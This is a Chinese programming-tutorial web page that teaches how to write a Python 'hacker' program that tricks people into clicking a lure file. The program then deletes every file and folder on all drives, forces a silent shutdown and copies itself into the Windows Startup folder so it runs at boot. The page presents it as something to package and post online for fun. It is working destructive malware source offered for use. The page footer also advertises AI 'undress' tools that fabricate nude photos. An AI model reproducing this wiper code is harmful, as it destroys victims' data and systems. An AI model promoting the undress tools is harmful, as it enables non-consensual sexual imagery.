首页 后端开发 Python教程 使用Python一键删除全盘文件自动关机并留后门

使用Python一键删除全盘文件自动关机并留后门

Jul 25, 2023 pm 03:50 PM
python

今天我们要做的案例是怎样利用Python做一个hacker软件。

众所周知,一般的Hacker对于黑操作系统一般常用手法莫过于发送木马客户端,修改系统注册表。

组策略,获得开机启动权限,入侵电脑然后对电脑的文件进行修改来达到不可告人的目的。

今天我们要讲的就是最基础的,怎样获得开机启动,先给大家讲最基础添加文件到系统启动项的文件夹中,当然更加高端点也可以使用注册表添加,这里不在累述。好了,下面开始正题。。。。。。


/实现步骤/

首先我们通过社会工程学进行一个分析,准备一个足够吸引人的exe文件名称好让人第一眼看到就想点击它的欲望;等到别人点击了之后了这个程序是没有任何响应的,那么有的人也许会多点几下程序,当然这也对程序没有任何影响。下面我们来看一下:

首先我们得获取系统盘盘符,这个我们可以使用os模块通过对环境变量的字典键值来得到当前系统盘盘符。    

1

2

import os

print(os.getenv('SystemDrive'))

登录后复制

使用Python一键删除全盘文件自动关机并留后门

得到盘符后我们先可以将他的目录下的文件和文件夹打印出来

1

2

3

aa=os.getenv('SystemDrive')

os.chdir(aa+'\\\\') \#修改当前目录

os.system('tree\>\>1.txt') 打印树形目录并将其结果保存到1.txt文件中

登录后复制

使用Python一键删除全盘文件自动关机并留后门

使用Python一键删除全盘文件自动关机并留后门

使用Python一键删除全盘文件自动关机并留后门

然后我们只需要删除盘符下的文件夹和文件即可

所以我们需要用到 os 的walk遍历当前盘符下的所有文件,然后使用remove方法和rmdir方法,一个是删除文件另一个是删除目录

好了。我们开始吧,由于没有虚拟机于是自己创建一个目录放了若干文件夹和文件,效果都一样

1

path = r"C:\\Users\\Administrator\\Desktop\\sa"

登录后复制

os.walk() 方法用于通过在目录树中游走输出在目录中的文件名,向上或者向下。

os.walk()方法是一个简单易用的文件、目录遍历器,可以帮助我们高效的处理文件、目录方面的事情。

语法:

os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])

参数:

top -- 根目录下的每一个文件夹(包含它自己), 产生3-元组 (dirpath, dirnames,filenames) 【文件夹路径, 文件夹名字, 文件名】。

topdown --可选,为True或者没有指定,一个目录的的3-元组将比它的任何子文件夹的3-元组先产生 (目录自上而下)。

如果topdown为 False, 一个目录的3-元组将比它的任何子文件夹的3-元组后产生(目录自下而上)。

onerror -- 可选,是一个函数; 它调用时有一个参数,一个OSError实例。报告这错误后,继续walk,

或者抛出exception终止walk。

1

2

3

4

5

6

7

8

for root,dirs,files in os.walk(path,topdown=False):

    \#遍历目录

    for name in files:

        os.remove(os.path.join(root, name))

 

 

    for name in dirs:

        os.rmdir(os.path.join(root, name))

登录后复制

使用Python一键删除全盘文件自动关机并留后门

使用Python一键删除全盘文件自动关机并留后门

使用Python一键删除全盘文件自动关机并留后门

其实还有一种方法,就是shutil.rmtree(path),但是它会删除目录本身及所有子文件夹和文件,也就是说他会删除sa这个目录,所以不推荐这种搞法,因为我们要删除的是盘符下的文件夹或者文件,这样做很容易导致未知的错误

得到了系统盘符之后,我们还想得到系统其它盘符那该怎么办了,不着急,我们可以试试下面这种方法。

1

2

3

4

5

6

7

8

9

10

11

12

import os

import string

 

 

def get_pan():

    disk_list=[] \#磁盘盘符列表

    for p in string.ascii_uppercase: \#遍历所有大写字母

    disk=p+':'

    if os.path.isdir(disk): \#看磁盘盘符名用了哪些大写字母开头

            disk_list.append(disk) \#添加到盘符列表

    return disk_list

print(get_pan()) #打印盘符

登录后复制

使用Python一键删除全盘文件自动关机并留后门

使用Python一键删除全盘文件自动关机并留后门

结果很完美,跟我预想的一模一样,连u盘盘符也打印出来了~

光打印一个磁盘目录文件好像显得有点美中不足,于是我决定吧所有磁盘目录文件都整出来,老样子,还是树形结构。

使用Python一键删除全盘文件自动关机并留后门

使用Python一键删除全盘文件自动关机并留后门

使用Python一键删除全盘文件自动关机并留后门

这样每个盘的目录结构就都保存在对应盘的2.txt文件中了。

然后我们将会把这些盘符下的目录文件全部删除,当然遍历删除啦,为了模拟真实场景我决定用几个带有多层文件和目录的文件夹来代替盘符,这里我就不一一截图了,直接上代码,老样子

1

2

3

4

5

6

7

8

9

g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']

 

 

for y in g:

    for root, dirs, files in os.walk(y,topdown=False):\#遍历目录

        for name in files:

            os.remove(os.path.join(root, name))

        for name in dirs:

            os.rmdir(os.path.join(root, name))

登录后复制

ok,我们已经将文件及目录全部删除。

删除文件后了系统自然无法正常运行,于是这个时候我们可以使电脑关机,shutdown ,我的不二选择,它的方法有很多,用法:

1

2

shutdown [/i | /l | /s | /sg | /r | /g | /a | /p | /h | /e | /o][/hybrid] [/soft] [/fw] [/f]

/m \computer[/d [p|u:]xx:yy [/c “comment”]]

登录后复制

没有参数 显示帮助。这与键入 /? 是一样的。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

/? 显示帮助。这与不键入任何选项是一样的。

/i 显示图形用户界面(GUI)。这必须是第一个选项。

/l 注销。这不能与 /m 或 /d 选项一起使用。

/s 关闭计算机。

/sg 关闭计算机。在下一次启动时,重启任何注册的应用程序。

/r 完全关闭并重启计算机。

/g 完全关闭并重新启动计算机。在重新启动系统后,重启任何注册的应用程序。

/a 中止系统关闭。这只能在超时期间使用。

与 /fw 结合使用,以清除任何未完成的至固件的引导。

/p 关闭本地计算机,没有超时或警告。可以与 /d 和 /f 选项一起使用。

/h 休眠本地计算机。可以与 /f 选项一起使用。

/hybrid 执行计算机关闭并进行准备以快速启动。必须与 /s 选项一起使用。

/fw 与关闭选项结合使用,使下次启动转到固件用户界面。

/e 记录计算机意外关闭的原因。

/o 转到高级启动选项菜单并重新启动计算机。

必须与 /r 选项一起使用。

/m \\computer 指定目标计算机。

/t xxx 将关闭前的超时时间设置为 xxx 秒。

有效范围是 0-315360000 (10 年),默认值为 30。

如果超时时间大于 0,则默示为/f 参数。

/c "comment" 有关重新启动或关闭的原因的注释。最多允许 512 个字符。

/f 强制关闭正在运行的应用程序而不事先警告用户。

如果为 /t 参数指定大于 0 的值,则默示为 /f 参数。

/d [p|u:]xx:yy 提供重新启动或关闭的原因。

p 指示重启或关闭是计划内的。

u 指示原因是用户定义的。

如果未指定 p 也未指定 u,则重新启动或关闭是计划外的。

xx 是主要原因编号(小于 256 的正整数)。

yy 是次要原因编号(小于 65536 的正整数)。

登录后复制

所以我们得调用os.popen('shutdown /f /sg'),这样就可以在没有任何提示下关机了,神不知鬼不觉,哈哈哈,当然这个操作得是基于文件操作结束后进行的,再次进行优化

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']

 

 

for y in g:

  try:

          #遍历目录

          for root, dirs, files in os.walk(y,topdown=False):

              for name in files:

                  os.remove(os.path.join(root, name))

              for name in dirs:

                  os.rmdir(os.path.join(root, name))

                  time.sleep(1)

   

  except Exception:

          pass

   

  finally:

          os.popen('shutdown /f /sg')\#不弹出黑窗口

登录后复制

我们把程序发到网上运气好别人点击了,得让那个文件在自启动目录然后每次开机那个程序才会跟着启动啊,但是你想让别人把那个文件放到启动目录里去,做梦呢?这些操作当然交给万能的Python就能一步搞定啦。我们可以在点击这个文件之后快速生成一个bat文件和一个EXE文件或者Python文件。

在这里我以Python 和bat为主,因为我还没打包的缘故。

1

2

3

4

5

自启动目录路径:

C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup

import shutil

shutil.copyfile('gc.py',r'C:\\ProgramData\\Microsoft\\Windows\\Start

Menu\\Programs\\StartUp\\gc1.py')

登录后复制

在这里我们用到shutil这个模块,专门操作文件目录的Copyfile方法是将当前资源文件复制到另一个目录下的文件,但是需要注意一点的是,两个文件名不可一样,否则会报错,虽然它可以复制,如果你非得用这个方法,记得抛异常。好了,现在可以了:

使用Python一键删除全盘文件自动关机并留后门

使用Python一键删除全盘文件自动关机并留后门

使用Python一键删除全盘文件自动关机并留后门

然后我们还需要一个bat来启动它,因为没有bat它是需要借助外力去点击才有效果的,有了bat就可以自动启动。

建立一个后缀为bat的文件,内容如下:

使用Python一键删除全盘文件自动关机并留后门

同样的。我们还是需要我们的Python来智能产生bat文件那么该怎样写了,很简单,有人问我为什么是pythow不是Python,因为前者运行后没有黑窗口,当然不管是创建bat文件还是复制程序文件都最好在删除之后调用,有人问我,你的文件都删除完了,留那一个有何用,哈啊哈哈,我只能说,仅供娱乐。。。

回到正题,程序文件只需创建一个就ok。

使用Python一键删除全盘文件自动关机并留后门

使用Python一键删除全盘文件自动关机并留后门

这样就算是大功告成了,然后我们也可以把Python文件打包,这样bat文件里就不需要写解释器了,因为有的目标电脑可能没有Python环境,这个时候需要我们用pyinstaller打包一下。打包好了之后,直接把bat文件内容改为start gc.exe就可以了。

打包成exe文件之后了,就可以发布到网上装X啦,哈哈哈~

以上是使用Python一键删除全盘文件自动关机并留后门的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

PHP和Python:解释了不同的范例 PHP和Python:解释了不同的范例 Apr 18, 2025 am 12:26 AM

PHP主要是过程式编程,但也支持面向对象编程(OOP);Python支持多种范式,包括OOP、函数式和过程式编程。PHP适合web开发,Python适用于多种应用,如数据分析和机器学习。

在PHP和Python之间进行选择:指南 在PHP和Python之间进行选择:指南 Apr 18, 2025 am 12:24 AM

PHP适合网页开发和快速原型开发,Python适用于数据科学和机器学习。1.PHP用于动态网页开发,语法简单,适合快速开发。2.Python语法简洁,适用于多领域,库生态系统强大。

Python vs. JavaScript:学习曲线和易用性 Python vs. JavaScript:学习曲线和易用性 Apr 16, 2025 am 12:12 AM

Python更适合初学者,学习曲线平缓,语法简洁;JavaScript适合前端开发,学习曲线较陡,语法灵活。1.Python语法直观,适用于数据科学和后端开发。2.JavaScript灵活,广泛用于前端和服务器端编程。

PHP和Python:深入了解他们的历史 PHP和Python:深入了解他们的历史 Apr 18, 2025 am 12:25 AM

PHP起源于1994年,由RasmusLerdorf开发,最初用于跟踪网站访问者,逐渐演变为服务器端脚本语言,广泛应用于网页开发。Python由GuidovanRossum于1980年代末开发,1991年首次发布,强调代码可读性和简洁性,适用于科学计算、数据分析等领域。

vs code 可以在 Windows 8 中运行吗 vs code 可以在 Windows 8 中运行吗 Apr 15, 2025 pm 07:24 PM

VS Code可以在Windows 8上运行,但体验可能不佳。首先确保系统已更新到最新补丁,然后下载与系统架构匹配的VS Code安装包,按照提示安装。安装后,注意某些扩展程序可能与Windows 8不兼容,需要寻找替代扩展或在虚拟机中使用更新的Windows系统。安装必要的扩展,检查是否正常工作。尽管VS Code在Windows 8上可行,但建议升级到更新的Windows系统以获得更好的开发体验和安全保障。

visual studio code 可以用于 python 吗 visual studio code 可以用于 python 吗 Apr 15, 2025 pm 08:18 PM

VS Code 可用于编写 Python,并提供许多功能,使其成为开发 Python 应用程序的理想工具。它允许用户:安装 Python 扩展,以获得代码补全、语法高亮和调试等功能。使用调试器逐步跟踪代码,查找和修复错误。集成 Git,进行版本控制。使用代码格式化工具,保持代码一致性。使用 Linting 工具,提前发现潜在问题。

notepad 怎么运行python notepad 怎么运行python Apr 16, 2025 pm 07:33 PM

在 Notepad 中运行 Python 代码需要安装 Python 可执行文件和 NppExec 插件。安装 Python 并为其添加 PATH 后,在 NppExec 插件中配置命令为“python”、参数为“{CURRENT_DIRECTORY}{FILE_NAME}”,即可在 Notepad 中通过快捷键“F6”运行 Python 代码。

vscode 扩展是否是恶意的 vscode 扩展是否是恶意的 Apr 15, 2025 pm 07:57 PM

VS Code 扩展存在恶意风险,例如隐藏恶意代码、利用漏洞、伪装成合法扩展。识别恶意扩展的方法包括:检查发布者、阅读评论、检查代码、谨慎安装。安全措施还包括:安全意识、良好习惯、定期更新和杀毒软件。

See all articles